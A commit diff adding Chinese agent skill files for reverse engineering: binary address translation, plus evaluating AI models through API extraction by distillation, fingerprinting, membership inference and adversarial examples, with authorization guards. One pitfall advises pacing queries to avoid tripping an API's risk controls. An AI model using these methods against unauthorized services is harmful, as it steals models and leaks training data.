reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
100
vendor-new/rev-skills/.claude/skills/re-address-space/SKILL.md
Normal file
100
vendor-new/rev-skills/.claude/skills/re-address-space/SKILL.md
Normal file
@@ -0,0 +1,100 @@
|
||||
---
|
||||
name: re-address-space
|
||||
type: atomic
|
||||
description: >
|
||||
地址空间换算统一处理:PIE/ASLR 基址确定、RVA/VA 转换、loader offset(固件加载地址 vs 链接地址)、
|
||||
跨工具地址对齐(Ghidra/angr/frida/gdb)。
|
||||
触发词:PIE、ASLR、基址、RVA、VA、loader offset、地址换算、重定位地址、gdb算地址、angr地址。
|
||||
capabilities: [address-translation, elf-parser]
|
||||
---
|
||||
|
||||
# 地址空间换算(PIE / ASLR / 基址 / RVA-VA)
|
||||
|
||||
## 入口判定(Decision Gate)
|
||||
|
||||
```
|
||||
地址相关问题
|
||||
├── 静态文件(无运行态): VA/RVA/文件偏移换算 ──→ 本技能(步骤 1-2)
|
||||
├── 运行态(进程/内存): 基址确定(PIE/ASLR)──→ 本技能(步骤 3)+ /proc/pid/maps
|
||||
├── 跨工具对齐(Ghidra 显示 vs 运行时 vs angr)──→ 本技能(步骤 4)
|
||||
└── 固件加载地址 vs 链接地址差 ──→ 本技能(步骤 5)
|
||||
```
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:任何「这个地址对不上」问题——反编译器显示地址 ≠ 运行时地址 ≠ find 到的地址
|
||||
- 用:PIE/ASLR 二进制需要换算运行时基址(frida `Process.getModuleByName(...).base` / gdb `info proc mappings` / maps 文件)
|
||||
- 用:RVA/VA 互转、文件偏移与虚拟地址互转、固件加载地址与链接地址差
|
||||
- 不用:只是读 ELF 头/节表(走 [[re-format-elf]])
|
||||
- 不用:运行时内存布局细查(走 [[re-memdump]] / [[re-gdb]])
|
||||
|
||||
## 工具准备
|
||||
|
||||
所有工具先验证再使用。全部为静态/轻量命令,可免沙箱。
|
||||
|
||||
### readelf / objdump(binutils)—— 文件侧基址与段信息
|
||||
|
||||
- Linux: `apt install binutils` / `dnf install binutils` / `pacman -S binutils`(多数预装)
|
||||
- 验证: `readelf --version`;`objdump --version`
|
||||
|
||||
### gdb —— 运行态基址(跨 OS,见 [[re-gdb]])
|
||||
|
||||
- 安装与验证见 [[re-gdb]] 工具准备
|
||||
|
||||
### python3 —— 换算脚本
|
||||
|
||||
- 安装与验证见 [[re-python]] 工具准备
|
||||
|
||||
## 操作步骤
|
||||
|
||||
1. **确定文件侧基址(静态)**:
|
||||
```sh
|
||||
readelf -l target | grep LOAD # 首个 LOAD 段 p_vaddr 即链接基址(ET_EXEC 固定;ET_DYN/PIE 为 0 起相对)
|
||||
readelf -h target | grep Type # EXEC(固定基址)/ DYN(PIE,运行时才定基址)
|
||||
```
|
||||
- 链接基址(link-time base):取**最低 PT_LOAD 的 p_vaddr**(页对齐)——不要假设 PIE/ET_DYN 的 p_vaddr 必为 0,格式没这条要求;PIE 下常见 0,但也可能非 0(如 0x1000 起的布局)。load_bias = 运行时映射起点 − 最低 p_vaddr(见步骤 3)
|
||||
- 文件偏移 ↔ VA:`VA = p_vaddr + (file_offset - p_offset)`(按段匹配,别用全文件线性换算)
|
||||
|
||||
2. **RVA / VA 换算**:
|
||||
```
|
||||
RVA = VA - ImageBase(PE 语境)
|
||||
VA = RVA + ImageBase
|
||||
```
|
||||
- ELF 无统一 ImageBase 概念——用「链接基址 + 段偏移」;PE 用节表(RVA → 文件偏移按节)
|
||||
- 32/64 位宽度影响地址表示,不影响换算逻辑
|
||||
|
||||
3. **运行态基址(PIE / ASLR)**:
|
||||
```sh
|
||||
cat /proc/<pid>/maps | head -5 # 加载基址 = 首个映射(r--p,file offset 0x0)起点(Linux)
|
||||
gdb -p <pid> -ex 'info proc mappings' -ex detach # 或 gdb 侧(跨平台)
|
||||
```
|
||||
- **布局差异(separate-code)**:gcc 默认 PIE 下首个 LOAD 是 R-- 段(p_vaddr=0),代码段在其后(p_vaddr=0x1000 起);老式布局(无 separate-code)首个 LOAD 即 R E(p_vaddr=0)——取加载基址用**首个映射(r--p)起点**;若用首个 r-xp 起点须减去该段自身 p_vaddr,两种布局结果才一致
|
||||
- frida:`Process.getModuleByName("libtarget.so").base`(Frida 17+:静态 `Module.findBaseAddress` / `Module.getBaseAddress` 已移除,旧版本文法见 [[re-frida-script-author]])
|
||||
- **运行时地址 = 链接地址 + load bias**——bias = 运行时基址 - 链接基址;PIE 每次运行 bias 不同(ASLR),脚本必须动态取
|
||||
- 换算:`runtime_addr = link_addr + bias`(如链接 0x1000 的符号在运行时 `0x1000 + 0x7f0000000000`)
|
||||
|
||||
4. **跨工具对齐**:
|
||||
- Ghidra:默认按链接基址导入(PIE 程序 Image Base 常为 0);与运行时地址差 = load bias——`Ghidra 地址 + bias = 运行时地址`
|
||||
- angr:`proj.loader.main_object.mapped_base`(rebase 后基址);重定基址用后端对象的 `obj.rebase(new_base)`(如 `proj.loader.main_object.rebase(...)`,cle Backend.rebase)
|
||||
- gdb/frida:以运行时基址为准(步骤 3),反编译器地址需加 bias 才能对齐
|
||||
- 断点对齐:`gdb b *<链接地址> + <bias>` 或 frida `Process.getModuleByName("libfoo.so").findExportByName("func")` 加偏移
|
||||
|
||||
5. **固件 loader offset**:
|
||||
- 固件镜像链接地址 vs 实际加载地址(flash 映射/解压后)差 = loader offset——先读固件头部/启动代码确认加载地址([[re-fw-extract]] / [[re-arm]] 联动)
|
||||
- 换算:`实际地址 = 链接地址 + loader_offset`;不确定时用启动代码里对自身地址的引用反推
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-binary-core]]:本技能是其子技能——二进制分析通用底座(地址换算被全域消费)
|
||||
- [[re-format-elf]] / [[re-format-pe]]:段/节表来源(步骤 1-2 输入)
|
||||
- [[re-frida]] / [[re-gdb]] / [[re-memdump]]:运行态基址来源(步骤 3)
|
||||
- [[re-ghidra]] / [[re-angr]]:跨工具地址对齐(步骤 4)
|
||||
- [[re-fw-extract]] / [[re-arm]]:固件加载地址(步骤 5)
|
||||
- [[re-analyze/analysis-contract]]:地址换算结论进数据契约的**文件域字段** base_addr(见 [[re-analyze/analysis-contract]] §3.2)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **PIE 静态基址误用**:现象——把 PIE 的链接基址(0 或 ELF 头值)当运行时地址,断点/查找全落空;原因——ET_DYN 运行时基址由 ASLR 决定;对策——步骤 3 动态取 bias,不静态猜
|
||||
- **文件偏移当虚拟地址**:现象——`find 0x1234`(文件偏移)后在 Ghidra/运行时找不到对应;原因——混淆偏移与 VA 两套坐标系;对策——按步骤 1 段映射换算,先确认读的是哪套
|
||||
- **固件链接地址 ≠ 加载地址**:现象——固件里 `file` 报的入口与实际运行入口差一个常数;原因——链接器按 flash/ROM 地址链,运行时解压/重映射到 RAM;对策——步骤 5 反推 loader offset,别硬凑
|
||||
- **跨工具地址各说各话**:现象——Ghidra 说 0x401000、angr 说 0x400000、frida 说 0x7f...——同一符号三套数;原因——各工具默认基址不同(链接/映射/rebase);对策——步骤 4 统一到同一坐标系(运行时基址为锚)再比对
|
||||
151
vendor-new/rev-skills/.claude/skills/re-ai-attack/SKILL.md
Normal file
151
vendor-new/rev-skills/.claude/skills/re-ai-attack/SKILL.md
Normal file
@@ -0,0 +1,151 @@
|
||||
---
|
||||
name: re-ai-attack
|
||||
type: atomic
|
||||
description: >
|
||||
AI 模型安全评估与取证(行为层):extraction assessment(API 黑盒提取评估)、
|
||||
fingerprint verification(行为指纹与归属验证)、privacy leakage evaluation(成员推断/隐私泄露评估)、
|
||||
robustness evaluation(对抗鲁棒性评估)。
|
||||
触发词:API模型窃取、黑盒模型复制、模型指纹、成员推断、对抗样本、行为水印、模型安全评估、隐私泄露评估。
|
||||
guard: {"require_authorization": true, "forbidden": ["unauthorized_api_testing", "bypass_access_control", "model_theft_against_third_party"]}
|
||||
capabilities: [ai-model-analysis]
|
||||
---
|
||||
|
||||
# AI 模型安全评估与取证(行为层)
|
||||
|
||||
## CORE RULE:攻击面由可观测性决定,不由攻击名称决定
|
||||
|
||||
先问接口/资产给什么,再选攻击面——三者是三个世界:
|
||||
|
||||
| 可观测性 | 世界 |
|
||||
|---|---|
|
||||
| `logits available`(API 返回概率/logits) | 蒸馏(soft label)、指纹、成员推断全部可用 |
|
||||
| `labels only`(API 只返回标签) | 降级:决策边界采样、黑盒迁移、影子模型 |
|
||||
| `weights available`(拿到模型文件) | 白盒:梯度方法(FGSM/PGD)、直接比对、阈值成员推断 |
|
||||
|
||||
同一攻击名在不同可观测性下可行性与实现完全不同——先按「输入资产盘点」确认 API 输出字段/模型文件,再选路径。
|
||||
|
||||
## 任务分类器(intent → 路径)
|
||||
|
||||
用户目的识别,命中即走对应分支;未命中落入下方「何时使用」判断:
|
||||
|
||||
| 用户目的(intent) | 路径 |
|
||||
|---|---|
|
||||
| 怀疑模型被复制 / 模型被盗用 / 嫌疑副本比对 | → **fingerprint**(模型指纹/水印检测,步骤 2) |
|
||||
| 判断训练数据泄露 / 某样本是否在训练集 | → **membership**(成员推断,步骤 3) |
|
||||
| 测试 API 是否容易被复制 / 接口可提取性 | → **extraction**(模型提取,步骤 1) |
|
||||
| 测试鲁棒性 / 对抗样本效果 / 防御验证 | → **adversarial**(对抗样本评估,步骤 4) |
|
||||
|
||||
## 输入资产盘点(INPUT INVENTORY)
|
||||
|
||||
路径命中后先确认已有资产——不同资产组合决定可走路径,缺资产先向用户索要或说明局限:
|
||||
|
||||
| 资产 | 影响路径 |
|
||||
|---|---|
|
||||
| API endpoint(+ query budget) | **extraction**(步骤 1)必需——无 endpoint 无法提取 |
|
||||
| model file(本地模型/权重) | fingerprint 比对与成员推断(步骤 2/3)可用;无则只能走 API 侧 |
|
||||
| training dataset(疑似训练集样本) | **membership**(步骤 3)必需——无样本无法推断成员 |
|
||||
| suspected copy(嫌疑副本) | **fingerprint**(步骤 2)必需——无副本无从比对 |
|
||||
| baseline model(受害者/参考模型) | fingerprint 比对必需——无基线只有副本无法定指纹 |
|
||||
| watermark hypothesis(水印假设) | fingerprint 水印验证(步骤 2)——有具体假设(触发集/后门)可定向验证 |
|
||||
|
||||
**规则**:intent 命中后检查该路径所需资产;缺失 → 先向用户询问(有无/能否提供),用户无法提供则说明该路径不可执行并转可用路径。
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:模型泄露/窃取取证、API 模型攻击评估(提取/指纹)、训练数据泄露判定、模型鲁棒性评估(对抗样本)
|
||||
- 用:水印/指纹验证(嫌疑副本与受害者模型比对)
|
||||
- 用:模型 API 一致性审计(同输入多查询/多端点比对,找副本/代理)
|
||||
- 用:鲁棒性基线评估(上线前/防御验证前测一遍干净与扰动准确率)
|
||||
- 不用:模型文件格式解析与权重提取(转 [[re-ai-model]]);模型训练/微调(非逆向);部署加固(防御侧不在本技能)
|
||||
- 不用:无授权目标(红线:仅授权评估场景;授权边界见 [[gotchas]])
|
||||
- **RE_AUTH 前置(guard 联动)**:本技能 guard.require_authorization=true——执行前确认授权上下文(triage 第 0 步 `RE_AUTH`):owned / ctf / research 可执行;unknown 先询问目标归属(所有权 / 测试授权 / 研究环境),未说明只做静态评估不进入动态步骤
|
||||
- 不用:提示注入/提示泄露评估(LLM 侧攻击面)与 API 服务本身的注入/越权测试(应用侧漏洞不在本技能)
|
||||
|
||||
## 工具准备
|
||||
|
||||
### python3(核心运行时)
|
||||
|
||||
- 各平台安装见 [[re-python]] 工具准备
|
||||
|
||||
### 模型库(torch / tensorflow,按目标格式选)
|
||||
|
||||
- 多平台: `pip install torch` / `pip install tensorflow`(按硬件可选 CPU 版;按目标框架选一即可,蒸馏脚本只依赖其张量操作)
|
||||
- 验证: `python3 -c "import torch"`
|
||||
|
||||
### 攻击评估库(ART,可选)
|
||||
|
||||
- 多平台: `pip install adversarial-robustness-toolbox`(对抗鲁棒性工具箱,覆盖提取/指纹/对抗样本攻击模块)
|
||||
- 验证: `python3 -c "import art"`
|
||||
|
||||
### 查询接口客户端(API 目标)
|
||||
|
||||
- 多平台: `pip install requests`;验证: `python3 -c "import requests"`
|
||||
- 可视化(分布对比图,可选):`pip install matplotlib`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行;仅限授权评估场景(红线:不针对未授权目标)。方法学依据:模型提取(API 查询蒸馏)、成员推断(影子模型)、对抗样本(FGSM/PGD)为公开研究框架,实现细节按目标模型域调整(见 [[decision-tree]] 分支)。
|
||||
|
||||
1. **模型提取攻击**(Overview:通过 API 查询重建近似模型——蒸馏):
|
||||
- Checklist:
|
||||
1. 确认授权与用途(评估/取证声明记录)
|
||||
2. 接口探测:读 API 文档/试查询 → 确认限额与输出字段(logits/概率或仅标签——可观测性决定策略,见 CORE RULE)
|
||||
3. 查询采样(输入分布覆盖:代表性输入 + 边界扰动 + 标签分布均衡)
|
||||
4. 蒸馏训练(以 API 输出为教师标签)
|
||||
5. 评估近似度(同输入集输出对比:一致率 + 标签分布对比,不是只看精度)
|
||||
- 实现经验(soft label 优先、边界扰动、评估一致性、蒸馏基线、查询日志等)见 [[implementation-notes]]
|
||||
- 仅标签时:降级为决策边界采样(输出分布重建受限,见 [[gotchas]] 接口坑);查询预算内先小批估计(坑 1)
|
||||
|
||||
2. **模型指纹/水印检测**(Overview:**行为级**水印——模型表现出来是什么:trigger 触发响应 / 查询响应 / 黑盒指纹;文件级水印(权重 pattern/metadata/tensor hash)走 [[re-ai-model]]):
|
||||
- Checklist:
|
||||
1. 嵌入检测:输入扰动(特定噪声/触发器)→ 输出特征比对(水印触发行为)
|
||||
2. 指纹提取:模型行为签名(代表性输入集输出向量)→ 与疑似副本比对
|
||||
3. 窃取取证:嫌疑模型与受害者模型的指纹距离 → 阈值判定相似(阈值校准见 [[decision-tree]] 证据分级)
|
||||
4. 产出:指纹向量 + 距离报告(距离值 + 阈值依据 + 置信度)
|
||||
- 实现经验(输入集难度分层、归一化、反例对照组、抹除对抗、时效、水印枚举)见 [[implementation-notes]]
|
||||
- 抹除对抗:剪枝/微调/蒸馏会削弱指纹——用鲁棒指纹并标注「可能被抹除」(见坑 3)
|
||||
|
||||
3. **成员推断**(Overview:判定某样本是否在训练集中):
|
||||
- Checklist:
|
||||
1. 确认输入形态:目标模型输出的概率向量 + 样本特征(可观测性见 CORE RULE)
|
||||
2. 选攻击类型:白盒(有 loss)用阈值法;黑盒(只有输出)用影子模型(同分布代理模型校准)
|
||||
3. 对照基线:同分布随机样本(非训练样本)的损失分布作基准线
|
||||
4. 输出:统计判定(ROC/阈值曲线、给定 FPR 下的 TPR、置信区间),不是确定性结论
|
||||
- 实现经验(基线设计、隐私脱敏、统计口径)见 [[implementation-notes]]
|
||||
- 局限:只能给出统计判定(误报控制:阈值校准;隐私保护训练目标可对抗,见 [[gotchas]])
|
||||
|
||||
4. **对抗样本基础**(Overview:鲁棒性评估与防御验证,非攻击部署):
|
||||
- Checklist:
|
||||
1. 选路径:白盒(模型权重可加载且 loss 可微)用梯度扰动(FGSM/PGD);黑盒用查询/迁移扰动(可观测性见 CORE RULE)
|
||||
2. 设扰动预算(epsilon)——评估口径可比
|
||||
3. 评估对照:先测干净样本基线(扰动前准确率),报告扰动前后对比
|
||||
- 实现经验(预算梯度、迁移性边界)见 [[implementation-notes]]
|
||||
- 边界:对抗样本迁移性差(白盒扰动对黑盒目标不保证有效,见 [[gotchas]])
|
||||
|
||||
5. **评估报告与存证**:
|
||||
- 三要素全记录:方法(采样集/蒸馏超参/距离阈值)、结果(指标)、参数(随机种子/框架版本)
|
||||
- 攻击脚本与评估产物 sha256 存档;结论按 [[re-analyze/analysis-contract]] 交付
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-ai-model]]:**消费文件级证据**(文件级证据 → 行为级验证单向流)——有模型文件时先经 re-ai-model 提取结构/权重/文件级 fingerprint,再在本技能做行为一致性验证;仅 API(无文件)时无文件侧输入,直接黑盒评估
|
||||
- [[re-python]]:Python 工具链基础
|
||||
- [[re-feedback]]:攻击案例经验沉淀(脱敏后)
|
||||
- [[re-analyze/analysis-contract]]:评估结论交付格式
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **查询预算限制**:现象——API 限流/计费中断;原因——高查询量;对策——预算内采样设计(先小批估计),记录已用配额
|
||||
- **置信度不可得时降级**:现象——接口只返回标签;原因——服务端裁剪输出;对策——决策边界采样 + 标注局限,不硬造概率
|
||||
- **水印被抹除**:现象——指纹比对失败;原因——嫌疑方做了剪枝/微调/蒸馏;对策——用鲁棒指纹(多触发器)并标注「可能被抹除」;距离接近但未达阈值时输出「弱相似」而非「无关」
|
||||
- **成员推断误报**:现象——统计判定错误;原因——阈值偏差/影子模型分布不匹配;对策——影子模型校准 + 报告置信区间
|
||||
- **评估指标误导**:现象——提取模型「精度高」但输出分布完全不同;原因——只比精度不比分布;对策——一致率 + 标签分布 + 校准度多指标联合
|
||||
- **提取不收敛**:现象——蒸馏效果差;原因——采样分布与目标分布不匹配/接口输出裁剪;对策——按目标数据域重采样,标注数据分布假设
|
||||
- **输出解析错误**:现象——logits 与标签错位;原因——API 响应字段解析错;对策——先打印原始响应核对字段再批量
|
||||
- **结果不可复现**:现象——复跑结果不同;原因——随机种子/采样顺序未固定;对策——固定 seed 并记录
|
||||
- **对比对象口径错**:现象——指纹比对用了不同任务模型;原因——未确认任务口径;对策——比对前确认任务/标签空间一致
|
||||
- **多端点口径差异**:现象——同一模型不同端点输出不同;原因——A/B 路由/版本不同;对策——锁定端点做前后对比,标注端点标识
|
||||
- **批查询触发风控**:现象——正常速率查询被风控;原因——触发速率阈值;对策——查询节奏控制(限速/随机间隔),记录风控事件
|
||||
- **资源预算**:现象——蒸馏 OOM/长任务中断;原因——学生模型过大/时长估计不足;对策——分阶段 checkpoint(采样/训练分步存档),小批量/CPU 降级
|
||||
- **授权边界**:现象——对未授权 API 发起攻击测试;原因——范围未确认;对策——先确认授权(使用边界红线)
|
||||
- 场景分支与证据分级见 [[decision-tree]];边界与反例见 [[gotchas]]
|
||||
@@ -0,0 +1,69 @@
|
||||
# AI 攻击决策树与证据分级
|
||||
|
||||
攻击面由「目标形态 × 接口能力」决定,先侦察再动手。本文档与 SKILL.md 步骤 1-4 配套使用。
|
||||
|
||||
## 目标形态决策树
|
||||
|
||||
```
|
||||
评估目标
|
||||
├─ 黑盒 API(只能查询)→ 提取攻击 / 黑盒对抗样本 / 行为指纹
|
||||
├─ 模型文件(拿到权重)→ 白盒分析:权重指纹、成员推断(白盒)、FGSM/PGD
|
||||
│ (文件解析与格式还原走 [[re-ai-model]])
|
||||
└─ 嵌入/微调产物(LoRA/适配器)→ 与基础模型比对差异(指纹来源分析)
|
||||
```
|
||||
|
||||
## 接口能力分支
|
||||
|
||||
```
|
||||
API 查询
|
||||
├─ 返回完整 logits/softmax 概率 → 蒸馏优先(soft label 训练)
|
||||
├─ 返回 top-k 概率 → 蒸馏降级(截断概率,标注信息损失)
|
||||
├─ 仅返回标签 → 决策边界采样(边界 + 对抗扰动查询),不做概率重建
|
||||
└─ 带温度/归一化扰动 → 先校准再蒸馏(softmax 温度影响教师信号)
|
||||
```
|
||||
|
||||
## 取证目的分支
|
||||
|
||||
```
|
||||
取证请求
|
||||
├─ 「是不是复制品」→ 行为指纹提取 + 距离阈值判定
|
||||
│ ├─ 距离 < 阈值且多输入集稳定 → 强相似(高置信)
|
||||
│ ├─ 距离 < 阈值但单输入集 → 弱相似(标注输入集局限)
|
||||
│ └─ 距离 > 阈值 → 不相似;但先排除「指纹被抹除」(见 [[gotchas]])
|
||||
├─ 「某样本是否在训练集」→ 成员推断(影子模型/损失分布)
|
||||
│ ├─ 分布显著分离 + 校准 → 统计判定(带置信区间)
|
||||
│ └─ 分布重叠 → 无法判定(输出区间而非断言)
|
||||
└─ 「有没有被加水印」→ 触发器检测(已知/未知触发器枚举)
|
||||
```
|
||||
|
||||
## 证据分级表
|
||||
|
||||
| 证据 | 弱 | 中 | 强 |
|
||||
|---|---|---|---|
|
||||
| 指纹距离 | 单输入集接近 | 多输入集稳定接近 | 多输入集 + 独有行为特征一致 |
|
||||
| 成员推断 | 损失高于基线 | 分布分离 + 校准 | 多攻击面一致(白盒+黑盒) |
|
||||
| 水印触发 | 单触发器响应 | 多触发器响应 | 触发器 + 输出结构特征吻合 |
|
||||
| 对抗鲁棒性 | 单样本扰动有效 | 多样本/多方法一致 | 迁移到替代模型仍有效 |
|
||||
|
||||
任何「强」证据都要排除替代解释(同源训练/公开基础模型微调——基础模型相同会天然产生指纹接近,见 [[gotchas]])。
|
||||
|
||||
## 组合套路(提取评估流程)
|
||||
|
||||
1. 接口能力侦察(预算内小批)
|
||||
2. 采样集设计(代表 + 边界 + 标签均衡)
|
||||
3. 蒸馏训练 → 评估(一致率/分布/校准)
|
||||
4. 指纹提取(多输入集)→ 距离报告
|
||||
5. 结论按证据分级表定级 + 标注局限(授权、预算、数据分布假设)
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- 先问「接口给什么」,再选攻击面——logits 可得性是策略分水岭
|
||||
- 多指标评估:精度高 ≠ 提取成功,一致率 + 标签分布联合看
|
||||
- 指纹判定要排除「同源基础模型」假说(微调自同一公开模型会天然相似)
|
||||
- 报告永远是统计性/概率化陈述,成员推断与指纹判定都带置信度
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 仅授权评估场景(授权边界见 SKILL.md 红线与 [[gotchas]])
|
||||
- 结论按 [[re-analyze/analysis-contract]] 交付;攻击代码不部署到生产环境
|
||||
- 防御侧参考(对抗训练/输出裁剪)只作评估结论的旁注,不展开
|
||||
@@ -0,0 +1,36 @@
|
||||
# AI 攻击方法论坑与边界
|
||||
|
||||
## 提取攻击坑
|
||||
|
||||
- **接口裁剪**:服务端裁剪输出(温度缩放/截断 logits/量化)会削弱教师信号——先探测输出分布(相同输入多次查询看方差),再决定蒸馏策略
|
||||
- **查询限额**:限流/计费/风控会中断长查询任务——预算内设计采样(先小批估计分布,再决定规模);被风控时换查询节奏并记录
|
||||
- **数据分布不匹配**:查询分布与目标域分布不符时蒸馏模型「学会了查询集」而非「目标模型」——采样覆盖目标域,标注分布假设
|
||||
- **缓存与批处理**:API 前有缓存/批处理层时相同输入返回相同输出(正常),但去重/缓存会让查询统计失真——评估有效性时用随机扰动输入
|
||||
- **防提取对策**:水印(后门触发)、输出扰动、查询风控都可能存在——提取结果不可用时标注「存在防提取机制」,别当失败
|
||||
|
||||
## 指纹/水印坑
|
||||
|
||||
- **同源基础模型假说**:嫌疑模型与受害者模型都微调自同一公开基础模型时,行为指纹天然接近——判定前先比对「独有特征」(训练数据/任务特有的行为),排除同源解释
|
||||
- **指纹被抹除**:剪枝/量化/微调/蒸馏都会削弱指纹——用鲁棒指纹(多触发器/行为签名);距离「接近但未达阈值」输出「弱相似」而非「无关」
|
||||
- **触发器过拟合**:单触发器验证可能只是「该输入的特殊性」而非水印——多触发器 + 触发器族(结构/噪声/语义类)交叉验证
|
||||
- **阈值无普适值**:指纹距离阈值依赖模型家族与输入集——阈值按同族对照模型校准(训练 1-2 个对照模型量距离分布),不套用他人阈值
|
||||
|
||||
## 成员推断坑
|
||||
|
||||
- **过拟合 ≠ 成员**:高置信度输出可能只是模型对特定输入过拟合,不是「在训练集中」——用影子模型(同分布代理)校准分布,再判定
|
||||
- **影子模型同分布假设**:影子模型与目标训练分布不一致时校准失效——影子训练数据尽量贴近目标域(公开同域数据),标注假设
|
||||
- **隐私保护训练对抗**:DP-SGD/差分隐私训练的模型成员推断信号弱——分布不分离时输出「无法判定」,别硬给结论
|
||||
- **统计性质误读**:成员推断是统计判定(带 TPR/FPR),单样本断言「肯定在训练集」不成立——报告带置信区间
|
||||
|
||||
## 评估边界与反例
|
||||
|
||||
- **对抗样本迁移性**:白盒扰动迁移到黑盒目标不保证有效——迁移成功率是评估指标,不是攻击保证
|
||||
- **反例:误用「精度」**:提取模型在测试集精度接近目标 ≠ 功能等价(输出分布可能完全不同)——功能等价要看一致率与分布
|
||||
- **反例:模型版本差异**:同一模型的不同部署版本(量化/蒸馏部署版)指纹与训练版不同——比对前确认版本口径
|
||||
- **范围外**:提示注入/提示泄露(LLM 侧)不在本技能(面向分类/生成模型的提取、指纹、成员推断与对抗评估);训练数据版权判定是法律问题,本技能只出统计证据
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 仅授权评估场景(范围/目标/数据确认先行);不绕过付费/访问控制边界
|
||||
- 结论按 [[re-analyze/analysis-contract]] 交付,统计性陈述 + 置信度 + 局限
|
||||
- 相关文件分析衔接 [[re-ai-model]];经验沉淀转 [[re-feedback]](脱敏)
|
||||
@@ -0,0 +1,39 @@
|
||||
# AI 攻击实现笔记(Implementation Notes)
|
||||
|
||||
SKILL.md 操作步骤的流程(Overview + Checklist)之外的实现经验——按步骤分组,命中对应步骤时参考。
|
||||
|
||||
## 步骤 1:模型提取
|
||||
|
||||
- **soft label 优于 hard label**:API 输出带 logits/概率时蒸馏质量显著高于仅标签(决策边界信息更丰富);仅有标签时降级为决策边界采样,输出分布重建受限(标注局限)
|
||||
- **边界扰动**:输入空间小幅扰动(噪声/旋转/亮度)覆盖决策边界附近区域,提升蒸馏对边界形状的拟合
|
||||
- **评估一致性**:同一输入多次查询看 logits 方差——方差大说明输出随机化/防提取机制
|
||||
- **蒸馏训练要点**:学生模型容量与教师相近(过小欠拟合边界、过大过拟合采样噪声);训练轮次/学习率按小验证集调
|
||||
- **蒸馏评估基线**:随机初始化学生模型与目标模型同分布对比——排除「模型本身输出相似」的假象
|
||||
- **查询日志**:每次查询记录(输入指纹/输出/时间/配额消耗),供审计与复现
|
||||
- **查询预算**:预算内先小批估计(限流/计费中断处理见 SKILL.md 坑 1)
|
||||
|
||||
## 步骤 2:模型指纹/水印检测
|
||||
|
||||
- **指纹输入集设计**:覆盖类别/难度分层(简单+难例)——难例区分度更高
|
||||
- **比对前归一化**:输出向量先归一(softmax 温度/缩放差异)再算距离(L2/余弦)
|
||||
- **反例对照组**:触发器响应可能来自模型训练偏差而非水印——先测无触发器输入的基线响应
|
||||
- **抹除对抗**:剪枝/微调/蒸馏会削弱指纹——用鲁棒指纹(多触发器)并标注「可能被抹除」
|
||||
- **指纹时效**:模型热更新后指纹漂移——比对前确认版本/时间窗
|
||||
- **未知水印枚举**:触发器候选(特定输入模式/语义后门)逐个测,先小批探测再扩大
|
||||
|
||||
## 步骤 3:成员推断
|
||||
|
||||
- **对照基线**:同分布随机样本(非训练样本)的损失分布作基准线,再对比目标样本位置
|
||||
- **隐私敏感性**:成员推断涉及个人数据判定——结论脱敏,不公开样本身份
|
||||
- **统计口径**:输出 ROC/阈值曲线(给定 FPR 下的 TPR、置信区间),不是确定性结论;隐私保护训练目标可对抗(误报控制:阈值校准)
|
||||
|
||||
## 步骤 4:对抗样本
|
||||
|
||||
- **扰动预算(epsilon)**:FGSM/PGD 都设扰动上限——评估口径可比
|
||||
- **评估对照**:先测干净样本基线(扰动前准确率),报告扰动前后对比
|
||||
- **预算梯度**:epsilon 从 0 起递增,报告不同预算下的准确率曲线
|
||||
- **迁移性边界**:对抗样本迁移性差——白盒扰动对黑盒目标不保证有效
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 本文件是经验参考,不替代 SKILL.md 的步骤流程;实现细节与目标模型域冲突时以目标域为准(见 [[decision-tree]] 分支)
|
||||
166
vendor-new/rev-skills/.claude/skills/re-ai-model/SKILL.md
Normal file
166
vendor-new/rev-skills/.claude/skills/re-ai-model/SKILL.md
Normal file
@@ -0,0 +1,166 @@
|
||||
---
|
||||
name: re-ai-model
|
||||
description: >
|
||||
AI 模型文件逆向与静态分析:ONNX/PyTorch/Safetensors/TFLite 格式解析、
|
||||
网络结构还原、权重提取、文件级水印分析(权重 pattern/metadata/tensor hash/embedding 异常)。
|
||||
触发词:模型文件、权重提取、ONNX解析、safetensors、pth分析、pt文件、模型结构还原、文件级水印
|
||||
capabilities: [ai-model-analysis]
|
||||
---
|
||||
|
||||
# AI 模型逆向(ONNX / PyTorch / Safetensors)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:拿到 .onnx / .pt / .pth / .safetensors / .tflite 等模型文件,要还原网络结构、提取权重
|
||||
- 用:**文件级水印**检测(东西藏在哪里:权重 pattern / metadata / tensor hash / embedding 异常——怀疑模型是从原版复制/微调而来时先查文件侧)
|
||||
- 用:模型文件本身是载荷——权重里藏数据、torch.save 打包恶意 pickle、后门/投毒模型(下载执行类样本)
|
||||
- 不用:**行为级水印**(模型表现出来是什么:trigger 触发响应 / 查询响应 / 黑盒指纹)与 API 行为层攻击(走 [[re-ai-attack]])
|
||||
- 不用:纯推理脚本/训练代码(那是源码,走 [[re-script-deob]])
|
||||
- 不用:模型被打包进可执行文件(PyInstaller/pyarmor 等)——先 [[re-binary-core]] 拆包,拆出的模型文件再回本技能
|
||||
- 边界:本技能定位 = 模型文件解析 / 结构分析 / 权重分析 / 文件级水印——恶意模型判定、投毒/后门行为侧、归属取证属取证域(未来独立 re-ai-malware 技能承接;当前此类需求暂在本技能范围,以安全边界(坑 2 pickle 隔离)处理,行为侧转 [[re-ai-attack]])
|
||||
- 注意:**安全提示——不要直接 torch.load 未知 pkl 文件**(pickle 反序列化可执行任意代码,见坑 2);一切对未知 pkl 的加载默认隔离环境([[re-analyze/platform-tips]] 沙箱最高原则),先读后跑;模型解析/权重提取为静态步骤,可免沙箱
|
||||
|
||||
## 工具准备
|
||||
|
||||
参考 [[re-analyze/platform-tips]]——模型文件 GB 级常见,静态分析按「静态优先(大型样本)」思路:先格式识别与结构解析,按需提取权重,不整载内存(坑 1)。
|
||||
|
||||
### python3 —— 所有解析脚本基础
|
||||
